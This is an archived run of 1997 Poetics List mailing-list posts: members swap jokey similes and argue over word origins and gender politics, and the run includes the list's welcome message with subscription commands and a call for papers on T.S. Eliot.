all his cups are not in th cupboard (a literal translation frm the German,
i'm told, so maybe that one dont count)

↑ Index

954. **Steve Shoemaker**
Re: american language
Sun 29 Jun 1997

Recently i was surprised to find myself saying that something was "about yea [pronounced w/ long "a" vowel sound, not sure really how you spell it] big," something that can pretty much only be said, i guess, if you also hold up your hands to indicate measurement, so "yea" means something like "so" or "this," but i don't know where it comes from and there's nothing about it in my "American Heritage" dictionary...

steve

↑ Index

955. **David R. Israel**
Re: american language
Sun 29 Jun 1997

---

quoth Lisa Samuels:

> *According to David Bromige:*
>
> *Mark, yes, I too like the "two sandwiches short of a picnic." Theres also "One brick shy of a chimney," and "His elevator doesnt go all the way to the penthouse," In another context, I've always liked "He was tripping his doors off." Be good to see additions to this little list. David*
>
> *one brick shy of a full load*
> *lights on, nobody home*
> *a boy of unreliable enthusiasms*
> *one card short of a full deck*
> *brighter than the average bear*
> *one foot shy of the dock*
> *one straw short of a camel's back*
> *one art short of a long life*

on the other side of the ledger, there's the Chinese-painting reference (don't recall exact wording) -- being "like legs on a snake" (i.e., where you've painted a snake but then feel you've gotta embelish it & add more . . .) so one could look for pleasantries on this end of the scale, too -- here's trying some:

like a fish with wings
like a woman with several breasts
that's a cat with 10 lives
the Seven-10 (for a closed convenience store?)

the right word said twice
he was laconic and then some
she was so far out one feared if she'd ever make it back
a wonderful nonsense of proportion

also:

been where, done what?
i see inexactly what you mean [in response to a muddled explanation]
that's the ticket-stub
by the same tolkenism
by the same Tolkein

absolutely so-so-ulous
an obtuse observation
that's so perspicuous I forgot to laugh
so serious I forgot to frown
rudimentary my dear Crick

if you get my driftwood
I grasp at your meaning
you're the best thing that never happened to me
easy as sitting on a frog
simple as pi r squared over the differential of horsefeathers
as American as Appelachean Spring
a stich nearly in time
the more things change, the more they change

paved with good pretentions
the joker is mild
that's a horse of an identical color
he gets at the very periphery of the matter
deep as a sidewalk puddle on a summer's day
as animated as a frozen screen
brilliant! just shy of brilliant!

d.i.

↑ Index

956. **Aldon L. Nielsen**
Re: poet/identity/re :David Erben's post
Mon 30 Jun 1997

---

forwarded to me from the LISTOSIS chat room:

Antony Lamont: I thought it was Charles Olson who displaced humanistic approaches -- !

Mauberly: That was no ecriture; that was my life.

↑ Index

957. **David R. Israel**
Re: american language
Mon 30 Jun 1997

From EMcG --

> *she was a few fries short of a happy meal*

hmm -- good; how about:

he was like fifteen cents for a phone call
he had the vibrancy of week-old carrot juice
lucid as the L.A. skyline
all the convenience of a slurpy w/o the straw

d.i.

↑ Index

958. **DS**
Re: american language
Mon 30 Jun 1997

How bout - from the antipodes

one beer short of a six pack
a few sheep short in the top paddock

Dan

At 03:51 PM 6/29/97 -0700, you wrote:
>Mark, yes, I too like the "two sandwiches short of a picnic." Theres also
>"One brick shy of a chimney," and "His elevator doesnt go all the way to
>the penthouse," In another context, I've always liked "He was tripping his
>doors off." Be good to see additions to this little list. David
>
>

↑ Index

959. **DS**
Re: american language
Mon 30 Jun 1997

---

surely that's "smarter than the average bear"

> *brighter than the average bear*
> *one foot shy of the dock*
> *one straw short of a camel's back*
> *one art short of a long life*

↑ Index

960. Daniel Zimmerman
Re: american language
Mon 30 Jun 1997

Steve Shoemaker wrote:
>
> Recently i was surprised to find myself saying that something was
> "about yea [pronounced w/ long "a" vowel sound, not sure really how you
> spell it] big," something that can pretty much only be said, i guess,
> if you also hold up your hands to indicate measurement, so "yea" means
> something like "so" or "this," but i don't know where it comes from
> and there's nothing about it in my "American Heritage" dictionary...
>
> steve

Just up, I thumb through Partridge's _Origins_ & find under "yea" Ger. _je_, "indeed." Wildhagen's _New German Dictionary_ offers a dilated view of the word in its idiomatic contexts: e.g., "je länger, je lieber" [the longer (sooner) the better]; "je nachdem" [as the case may be]; "je nachdem, wie" [in proportion as]; "je nud je" [on and on forever; always]. Yo. Dan Zimmerman

↑ Index

961. Rachel Loden
Re: american language
Mon 30 Jun 1997

David Bromige wrote:
>
> Mark, yes, I too like the "two sandwiches short of a picnic." Theres also
> "One brick shy of a chimney," and "His elevator doesnt go all the way to
> the penthouse," In another context, I've always liked "He was tripping his
> doors off." Be good to see additions to this little list. David

This is reminding me of something I noticed when poring over a thesaurus long ago--that (in my books anyway) there are thick columns of synonyms for "moron," say, and tiny little entries for "genius." Kind of makes you feel for the human race and the sorts of frustrations that have driven us to expression (even before e-lists). Anyway:

Half a bubble off plumb

Two tacos short of a combination plate

One Froot Loop shy of a full bowl

Source code is missing a few lines

A few guppies short of an aquarium

Blew his O-rings

Has his solar panels aimed at the moon

Swimming in the shallow end of the gene pool

Rachel L.

↑ Index

962. **David R. Israel**
Re: american language / Pooh
Mon 30 Jun 1997

> *surely that's "smarter than the average bear"*
>
> *brighter than the average bear*

hmm - where are our Pooh scholars?
(that wd. seem to be the locus classicus)

one fellow has this quote (if I recall aright) as an email tagline:

For I am a bear of but little brain
and long words frighten me

(question is, how to Latinize "the fear of long words"? -- something along the lines of: mega-logo-phobia?)

d.i.

↑ Index

963. **David R. Israel**
Re: american language
Mon 30 Jun 1997

Rachel Loden contributed . . .

> *Source code is missing a few lines*
>
> *A few guppies short of an aquarium*
>
> *Has his solar panels aimed at the moon*

there are the "just shy of" expressions --

he's like a distillery that heats to 97 Celsius

& there are the expressions of "totally out of it" ness:

has all the solar power of a night in January

all this reminds of the simile-fest that Raymond Chandler indulges in, page after page. Chandler was as agile with a simile as a ballerina on rollerblades delivering a message to a Mafioso who is, at the moment, surrounded by a bunch of seals on LSD receiving transmissions from Jupiter . . . hmm, that one needs some work

d.i.

↑ Index

964. **David R. Israel**

Re: american language

Mon 30 Jun 1997

David McAleavey notes,

> *Seems the American (if only that?) usage of "it should be yea big" -- meaning that it should, furthermore, verily, and of course be just _so_ big, where _so_ is accompanied by a hand gesture, must be related to these other usages.*

my sense of the usage is that "about yea high" (with a hand gesture indicating a certain vertical plane) antedates "about yea big" -- i.e., that "about yea high" is probably the original expression on which a few variants (such as "about yea big") are based, their being tolerated only because "about yea high" was well established. Maybe I'm wrong, but that's my hunch in the matter. Of course, I have all the evidence of a Pentacostal trying to discuss theory with a post-structuralist on an academic panel convened by the NEA. (Hey, it was a try.)

In vernacular Chinese, the expression cha-bu-duo is common -- it means something like "wrong by not too much." In 1st year Chinese, we were given a story to read about Chabudou Xiansheng -- i.e., Mr. Cha-bu-duo. You can pretty well imagine how things went for him.

> *By the way, I've been back lurking only the past month after most of a year away, and will alas be switching today or tomorrow to "nomail" again for much of the rest of the summer.*

That elicits all the sense of leisure-for-an-amiable-response as one might expect in the utterances of a Apocalyptic Millenialist on December 30, 1999 -- but hey, ya gotta do what ya gotta do. ;-)

d.i.

↑ Index

965. Lisa Samuels
Re: american language / Pooh
Mon 30 Jun 1997

> *surely that's "smarter than the average bear"*
>
> *brighter than the average bear*
>
> *hmm - where are our Pooh scholars?*
> *(that wd. seem to be the locus classicus)*

actually, i think DS references yogi bear, the cartoon character, and yes it is 'smarter than the average bear' in his tv show -- but i say 'brighter than the average bear' because i think of stellar formations

> *one fellow has this quote (if I recall aright) as an email tagline:*
>
> *For I am a bear of but little brain*
> *and long words frighten me*

actually it goes 'i am a bear of very little brain and long words bother me' -- which i only know because, well, it's one of my favorite sayings, reminds me to be true to my list of forbidden words when i am writing 'critically'

ls.

↑ Index

966. LYNES- KATHERINE
Re: american language
Mon 30 Jun 1997

---

there is of course:

she's a bubble off center.

kl

> *From EMcG --*
>
> *she was a few fries short of a happy meal*
>
> *hmm -- good; how about:*
>
> *he was like fifteen cents for a phone call*
> *he had the vibrancy of week-old carrot juice*
> *lucid as the L.A. skyline*
> *all the convenience of a slurpy w/o the straw*

> *d.i.*

↑ Index

967. **Joe Amato**
outta town...
Mon 30 Jun 1997

---

just to say that i'll be set to nomail for three weeks or so, will miss the back & forth... but it's time for me to vacate the premises!...

best to all///

joe

↑ Index

968. **Daniel Bouchard**
Re: identity/poetics
Mon 30 Jun 1997

What does it mean to undermine one's authority? Is it necessarily a bad thing? There are bad people in positions of power in the world. Wouldn't you like to undermine their authority?

This interjective post is a defense for Dodie, not because she is not capable of defending herself (her exchanges with Kim Dawn prove otherwise), but because I don't think she's reading the list while she's in Colorado and the excerpt written about her below I think is misguided and written with an authority I believe needs undermining (under mind).

The exchanges between Dodie and Kim Dawn a couple of weeks back were many things, but in them I did not hear "Dodie's concommitant criticisms of Kim Dawn's lack of proper ladylike demeanor." I did hear Dodies criticisms of someone shooting their mouth off without being very informed. I heard Dodie offering insight, and for that she got flamed. Also, I didn't read Dodie post

"undermin(ing) Kim Dawn's "femininity" first by criticizing her actions as improper, and then--having established the unladylike nature of Kim Dawn's speech/acts--delivering a double-whammy by questioning whether a person so unladylike could indeed *be* a lady or even a woman" (as Kali Tal has written of the subject).

What was said in those posts were very direct-- WHY IS IT NECESSARY TO ABSTRACT THEM?

Kim Dawn's posts, on the other hand, were 1) pretty obnoxious, 2) pretty stupid, and 3) pretty obnoxious and pretty stupid. Am I undermining her "authority" or "femininity" by saying so?

The Weinberger post forwarded to the List by Kent Johnson (and what more of a "self-promotional card" could be played than forwarding a private letter to two listservs, at least two, maybe more for all I know, to defend one's interest?) pointed out that the "Left" historically bickers while the Right triumphs, or whatever, and Johnson (& others) continue to prove this insightful point by doing it ad nauseum. What's worse is that it's bickering is theoretical.

For example:

> *How would we revise our >interpretation if she were a he?)<<*

>> how the knowledge that "she" was actually a "he" would change our interpretation of the textual events which we'd read/witnessed.<<

>> What I was doing (attempting to do) was pointing out the way Dodie's inquiry functioned as a rhetorical tactic in this particular argument. As I noted in one of my previous posts,<<

But the most treasured retort, I thought, was:

>>> Dodie's was, I thought, a tactic which reinforced/reinscribed power hierarchies of a dominant over an oppressed group. <<<

This is a way of saying that Dodie is sharp. I never really understand when people start bouncing around "reinscription, reinforced, reify" and see individuals interact in terms of "power hierarchies." These three "R's" are poor word choices considering the issues that they are used to talk about. They never clarify anything.

Anyway, I'm only using Kali's post as an example because it was handy. I disagree with the characterizations made about Dodie and want to register that.

[redacted]

also:

>>> Note, please, that I consider Dodie, a female person, to be a fully able participant in the business of reinforcing hegemony. Identity is a process, not a fixed position, which is why women can find themselves allied with men against other women (not, mind you, always a bad thing),>>>

↑ Index

969. **robert drake**
Re: american language / Pooh
Mon 30 Jun 1997

> *surely that's "smarter than the average bear"*
>
> *brighter than the average bear*
>
> *hmm - where are our Pooh scholars?*
> *(that wd. seem to be the locus classicus)*

Hanna-Barbara scholars, actually; & Yogi Bear sayeth "smarter..."

lbd

↑ Index

970. **David McAleavey**
Re: american language
Mon 30 Jun 1997

Steve Shoemaker wrote:
>
> Recently i was surprised to find myself saying that something was
> "about yea [pronounced w/ long "a" vowel sound, not sure really how you
> spell it] big," something that can pretty much only be said, i guess,
> if you also hold up your hands to indicate measurement, so "yea" means
> something like "so" or "this," but i don't know where it comes from
> and there's nothing about it in my "American Heritage" dictionary...
>
> steveSteve, and hello --
The Collins-World 2nd ed. Webster's unabridged beside me suggests 3 adverbial uses for
"yea" -- "1. yes; used to express affirmation or assent
2. not this alone; not only so but also; furthermore; moreover
3. indeed, verily, truly; used to introduce a question or statement" -- with citations for each (two King James New Testament, one Shakespeare).

Seems the American (if only that?) usage of "it should be yea big" -- meaning that it should, furthermore, verily, and of course be just _so_ big, where _so_ is accompanied by a hand gesture, must be related to these other usages.

By the way, I've been back lurking only the past month after most of a year away, and will alas be switching today or tomorrow to "nomail" again for much of the rest of the summer. Please direct any personal messages to me directly at [redacted]. Thanks -- David McAleavey

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971. **Poetics List**

Welcome Message (July)

Mon 30 Jun 1997

Rev. 6-3-97

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

---

http://writing.upenn.edu/epc

_____Contents_____

1. About the Poetics List
2. Subscriptions
3. Cautions
4. Digest Option
5. Temporarily turning off Poetics mail
6. Who's Subscribed
7. The Electronic Poetry Center (EPC)
8. Poetics Archives at EPC
9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]), Loss PequeñoGlazier ([redacted]), and in cooperation with Joel Kuszai ([redacted]).

Above the world-weary horizons

New obstacles for exchange arise

Or unfold, O ye postmasters!

1. About the Poetics List

The Poetics List was founded in late 1993 with the epigraph above.

There are presently about 500 subscribers.

Please note that this is a private list and information about the list

should not be posted to other lists or directories of lists. The idea is

to keep the list to those with specific rather than general interests, and

also to keep the scale of the list small and the volume manageable.

individual posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

Please keep in mind that all posts go out immediately to all subscribers, and become part of an on-line archive. *<italic>Posting to Poetics is a form of publication, not personal communication</italic>.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!").

The "list owner" of Poetics is Charles Bernstein: contact him for further

information. Joel Kuszai is list manager. For subscription information contact us at [redacted].

---

2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your

name to unsub)

We will be sent a notice of all subscription activity.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to Poetics

mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you can substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

---

3. Cautions

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot always decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Poetics List can send a large number of individual messages to your account to each day! If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may

lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message to "listserv."

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to

e-mail message

blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a

rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

or try:

review POETICS by name

review POETICS by country

which will give you the list alphabetically by name or a flawed list by country (since all ".com" and ".net"s are counted as US)

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:

http://writing.upenn.edu/epc/poetics/archive

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9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If yourword processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts. Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

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972. **Don Cheney**
Re: american language
Mon 30 Jun 1997

---

just the other day i was watching the tv show here in the states called "Night Stand With Dick Dietrick" (the show is a parody of the Jerry Springer type, sensationalist talk shows) and the guests were supposed to be stereotypes of white

trash america. and the guests kept coming up with funny similes, so dick dietrick (the host) wanted to get in on all the simile action. the only phrase i remember him trying was:

that's as funny as a german puppeteer at a microsoft word convention.

don cheney

==========
Don Cheney San Diego, CA, USA
http://www.geocities.com/Paris/5791
[redacted]
==========

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973. Sylvester Pollet
Call for Papers/Eliot (fwd)
Mon 30 Jun 1997

Nancy Gish asked me to post this to the list, and it seems relevant to recent threads. Please respond to the names at the bottom, not to me--not my show. Thanks, sp.

> *CALL FOR PAPERS*
>
> *Eliot and desire, gender, sexuality*
>
> *Essays are sought for a collection on T.S. Eliot's complex relations to and engagements with desire, gender, sexuality. For a decade Eliot's reputation declined despite continued studies of his work; in postmodern reassessments of modernism he has often functioned as a stock figure for the masculinism, elitism, and logocentrism of mainstream modernism. But Eliot studies has become a renewed site of controversy and interest with the appearance of in-depth critiques such as Anthony Julius's T.S. Eliot: Anti-Semitism and Literary Form, the recent publication of formerly unpublished poems in Inventions of the March Hare, and the publication of other new studies reassessing Eliot's contributions to revisionist modernisms. In this context a full examination of issues of desire, gender, sexuality is overdue. We welcome all theoretical and critical approaches. Essays that engage queer theory, feminist theory, gender studies, structures of desire, approaches to the body and the performative, intertextuality, are welcome. Topics such as spirituality and eroticism, the occult, etc., are also of interest.*
>
> *Send inquiries, proposals, essays to Cassandra Laity, Dept. of English, Drew University, Madison, NJ 07940 ([redacted]) or Nancy K. Gish, Women's Studies, University of Southern Maine, Portland ME 04104-9300 ([redacted]).*

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974. James Finnegan
Re: American Language
Mon 30 Jun 1997

In a message dated 97-06-29 17:56:42 EDT, you write:

> *To add to "badly wrapped," "a few screws loose," "hit in the head once too often," etc., "a couple of sandwiches short of a picnic," as a description of Mike Tyson's mental state, altho it occurs to me as I type that this might also be meant as a motive for his recent behavior.*

Aaw, Tyson was just earritable. Next up: Iron Mike vs. Vinnie Van Gogh, an obscure Dutch pugilist known to lead with his left.

Finnegan

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975. David Israel
Re: american language / c&w version
Mon 30 Jun 1997

further on the "two sandwiches" trail --

> *I too like the "two sandwiches short of a picnic"*

perchance one could venture into country & western territory --

I was hopin' to find her at the forum
  but fear ran ahead of anticipation:
we were two senators shy of a quorum --
  and one hallelujah short of salvation . . .

O runnin' on empty, the engine died-away
  (merde! the Fates -- their behavior is always vile!)
we were three thimblesful shy of a clean getaway
  like a lawyer struck mute amid an easy trial

as the officer approached, I got an eye of
  his conceited mein -- & yep, he waxed laconic:
"Sorry, son, but yer a kilo of sugar shy of
  a Twinkie Defense" -- (was that ironic?)

d.i.

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976. **Mark Weiss**
Re: identity/poetics
Mon 30 Jun 1997

When I was a kid in Brooklyn my small gang of preadolescents was frequently riven by undying hatreds that were usually forgotten within the week. Maybe if we refrain from fanning them these flames, too, will die on their own.

At 10:05 AM 6/30/97 -0400, you wrote:
>What does it mean to undermine one's authority? Is it necessarily a bad
> thing? There are bad people in positions of power
> in the world. Wouldn't you like to undermine their authority?
>
>This interjective post is a defense for Dodie, not because she is not
> capable of defending herself (her exchanges with Kim
>Dawn prove otherwise), but because I don't think she's reading the list
> while she's in Colorado and the excerpt written about
>her below I think is misguided and written with an authority I believe
> needs undermining (under mind).
>
>The exchanges between Dodie and Kim Dawn a couple of weeks back were many
>things, but in them I did not hear "Dodie's concommitant criticisms of Kim
>Dawn's lack of proper ladylike demeanor." I did hear Dodies criticisms of
>someone shooting their mouth off without being very informed. I heard
>Dodie offering insight, and for that she got flamed. Also, I didn't read
>Dodie post
>
>"undermin(ing) Kim Dawn's "femininity" first by criticizing her actions as
>improper, and then--having established the unladylike nature of Kim Dawn's
>speech/acts--delivering a double-whammy by questioning whether a person so
>unladylike could indeed *be* a lady or even a woman" (as Kali Tal has
>written of the subject).
>
>What was said in those posts were very direct-- WHY IS IT NECESSARY TO
>ABSTRACT THEM?
>
>Kim Dawn's posts, on the other hand, were 1) pretty obnoxious, 2) pretty
>stupid, and 3) pretty obnoxious and pretty stupid. Am I undermining her
>"authority" or "femininity" by saying so?
>
>The Weinberger post forwarded to the List by Kent Johnson (and what more of
>a "self-promotional card" could be played than forwarding a private letter

>to two listservs, at least two, maybe more for all I know, to defend one's
>interest?) pointed out that the "Left" historically bickers while the Right
>triumphs, or whatever, and Johnson (& others) continue to prove this
>insightful point by doing it ad nauseum. What's worse is that it's
>bickering is theoretical.
>
>For example:
>
>>> How would we revise our >interpretation if she were a he?)<<
>
>>> how the knowledge that "she" was actually a "he" would change our
>interpretation of the textual events which we'd read/witnessed.<<
>
>>> What I was doing (attempting to do) was pointing out the way Dodie's
>inquiry functioned as a rhetorical tactic in this particular argument. As
>I noted in one of my previous posts,<<
>
>But the most treasured retort, I thought, was:
>
>>>> Dodie's was, I thought, a tactic which reinforced/reinscribed power
>hierarchies of a dominant over an oppressed group. <<<
>
>
>This is a way of saying that Dodie is sharp. I never really understand when
>people start bouncing around "reinscription, reinforced, reify" and see
>individuals interact in terms of "power hierarchies." These three "R's"
>are poor word choices considering the issues that they are used to talk
>about. They never clarify anything.
>
>Anyway, I'm only using Kali's post as an example because it was handy. I
>disagree with the characterizations made about Dodie and want to register
>that.
>
>
>[redacted]
>
>
>also:
>
>>>> Note, please, that I consider Dodie, a female person, to be a fully
>able participant in the business of reinforcing hegemony. Identity is a
>process, not a fixed position, which is why women can find themselves

>allied with men against other women (not, mind you, always a bad thing),>>>
>
>

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977. **dbkk**
Re: identity/poetics
Mon 30 Jun 1997

From Daniel Bouchard:

> *This interjective post is a defense for Dodie, not because she is not capable of defending herself (her exchanges with Kim Dawn prove otherwise), but because I don't think she's reading the list while she's in Colorado and the excerpt written about her below I think is misguided and written with an authority I believe needs undermining (under mind).*

Daniel, thank you for your support. We switched to Digest when we were gone, but I've only skimmed the list hijinx of last week. I have a grant to write, so Life will, for me, continue to be on hold for a bit.

I'm more perplexed than anything in Kali Tan's repeated jabbing at me on this issue as my being some kind of Authority figure with Power (I truly wish I were this, I could use some Authority and Power right now, I truly wish my life could support KTan's claims). I assume there is some subtext of personal issues she has with Authority and female Power figures that are being projected onto me. I certainly haven't acted this way to her or any other women on the list. Okay, in the ancient past I was bitchy to Maria Damon, but I apologized and now we're quite huggy and kissy, which makes me appreciate what a big heart Maria has.

And I am not here going to defend myself against charges of misogeny and staunchly maintaining the status quo of female suppression. My whole project has been working against this. I feel KTan's doing a similar thing to what I found particularly problematic in Kim Dawn's original posts--she's pressure one to stand up and defend one's LIBERALNESS. Liberalness is a bourgeois invention. Perhaps one cannot be radical and bourgeois at the same time. I think even Kim Dawn, at this point, is tired of the discussion of her eruption into this list. As a performance it would have been more palatable if she didn't begin it by attacking a list member who is a friend of mine. I'm curious why there hasn't been more discussion of Emily Vey Duke, who was was working in the Kim Dawn motif, and whom I feel is a talented writer, and whose performances I could read with pleasure. Of course, Kim Dawn paved the way for this, so I

guess I'm now all for her as Ur-progenitor of transgressive poetics list performances.

I've been writing backchannel to Emily VD, whomever she/he is. See I *am* a liberal! I can feel the walls of hegemony crumbling around me.

Dodie (Bellamy)

p.s. I do have one request here, though. And that is, if people want to challenge me here, please don't call me Dodie in those posts. People say, "David Bromidge is wrong!" They don't demean him with a mere, "David is wrong." David is reserved for sweet talk, as it should be (something, of course, that he deserves constantly, and relentlessly).

db

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978. **dbkk**
Re: identity/poetics
Mon 30 Jun 1997

My last message was Typo City.

> *Liberalness is a bourgeois invention. Perhaps one cannot be radical and bourgeois at the same time.*

I meant to write: Liberalness is a bourgeois invention. Perhaps one cannot be radical and *liberal* at the same time.

Dodie (Bellamy)

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979. **Steve Shoemaker**
Re: american language
Mon 30 Jun 1997

In the spirit of David B.'s "other context" (e.g. "tripping his doors off"), a friend of mine wld often confess to being "stoned as a bat." We also spent a good bit of time feeling nice & "toasty."

And something i've been wondering about: the color "chartreuse." I've looked it up in several dictionaries now and they all say it indicates a kind of greenish yellow. That wld be fine, except that i've now scientifically interviewd numerous (well, at least 5 or 6) people on this question and *everyone*, myself included, thinks, or had thought, of it as a kind of bright pinkish red. And for a topper, it was used in just this latter sense the other night *on TV*! (fashion

show episode of Xena: Warrior Princess)... So, like the stand-up comix say, "What's up with that?"

Steve Shoemaker

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980. **Mark Weiss**
Re: american language
Mon 30 Jun 1997

It's the color of the delicious-but-deadly liqueur produced at the monastery of La Grande Chartreuse (chartreuse=carthusian, or charter-house, as in _The Charterhouse of Parma_), from wence the name. They've been making it for centuries, and it's always been green. My own scientific survey (I asked my wife) confirms this. Xena predates Christianity--maybe in her day the word was used differently? Where's a sanskritist when you need one?

> *And something i've been wondering about: the color "chartreuse." I've looked it up in several dictionaries now and they all say it indicates a kind of greenish yellow. That wld be fine, except that i've now scientifically interviewd numerous (well, at least 5 or 6) people on this question and *everyone*, myself included, thinks, or had thought, of it as a kind of bright pinkish red. And for a topper, it was used in just this latter sense the other night *on TV*! (fashion show episode of Xena: Warrior Princess)... So, like the stand-up comix say, "What's up with that?"*
>
> *Steve Shoemaker*

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981. **KIM DAWN BAKER**
Output of your job "kdawn" (fwd)
Mon 30 Jun 1997

---------- Forwarded message ----------
Date: Sun, 29 Jun 1997 03:18:02 -0400
From: "L-Soft list server at University at Buffalo (1.8c)"
<[redacted]>
To: Kim Dawn <[redacted]>
Subject: Output of your job "kdawn"

> is the body inherently a whole?
Unknown command - "IS". Try HELP.

> -peter ganick
Unknown command - "-PETER". Try HELP.

> the body is full of h o l e s
Unknown command - "THE". Try HELP.

> asshole mouth nostrils eyes nipples
Unknown command - "ASSHOLE". Try HELP.

> belly button [which breathes]
Unknown command - "BELLY". Try HELP.

> cock vagina ears
Unknown command - "COCK". Try HELP.

> wounds scars tattoos earring holes memory gaps
Unknown command - "WOUNDS". Try HELP.

> [the throat is the internal limb between pain and pleasure]
Unknown command - "[THE". Try HELP.

> moans screams sighs cries chokes roars gasps mumbles whistles yelps slurps
Unknown command - "MOANS". Try HELP.

> groans chortles snorts pops clicks wheezes babbles hisses hums whimpers
Unknown command - "GROANS". Try HELP.

All subsequent commands have been flushed.

Summary of resource utilization

 CPU time: 0.020 sec
 Overhead CPU: 0.000 sec
 CPU model: SPARCstation-20 (384M)

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982. Eliza McGrand- CVA Guest

Re: american language

Mon 30 Jun 1997

YEAH!!! i am not the only one with chartreuse paranoia!!! i remember it having some connection to soem french liquor which is a bright bright green, but i hear it in connection with fuschia-ish raspberryish pink as well... so what is the deal here? are we talking color blind emperor without clothes? e

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983. **Kali Tal**
Re: identity/poetics
Mon 30 Jun 1997

> *Kim Dawn's posts, on the other hand, were 1) pretty obnoxious, 2) pretty stupid, and 3) pretty obnoxious and pretty stupid. Am I undermining her "authority" or "femininity" by saying so?*

The above statements are matters of opinion, and quite loaded opinion at that. You say them as if they are self-evident, and create a situation in which you frame everyone who does not agree with you as also "stupid" (for not recognizing stupidity) and possibly "obnoxious."

The issue of authority is an interesting one. There's "authority" as "power" (the power to issue [author] *orders*) and there's "authority" as "authenticity" (the certification of an author's *identity* and "expert" status on a particular subject). The kind of "authority" I reference when I criticize rhetorical tactics which work to undermine the authority of those who belong to traditionally disempowered groups is the "authority to speak as if expecting to be heard, and to have one's arguments or artworks taken seriously on their own terms, *as* arguments or artworks." The "undermining" I refer to is a result of tactics which seek to dismiss arguments or artworks based on the idea that certain people are not *worth* listening to for [insert_your_reason_here]. It is my observation that particularly in responses to the public speech of women, the topic quickly and frequently turns from the points raised by the woman in question to a discussion focusing on the character and motivation of the woman in question.

> *But the most treasured retort, I thought, was:*
>
> *Dodie's was, I thought, a tactic which reinforced/reinscribed power hierarchies of a dominant over an oppressed group. <<<*
>
> *This is a way of saying that Dodie is sharp. I never really understand when people start bouncing around "reinscription, reinforced, reify" and see individuals interact in terms of "power hierarchies." These three "R's" are poor word choices considering the issues that they are used to talk about. They never clarify anything.*

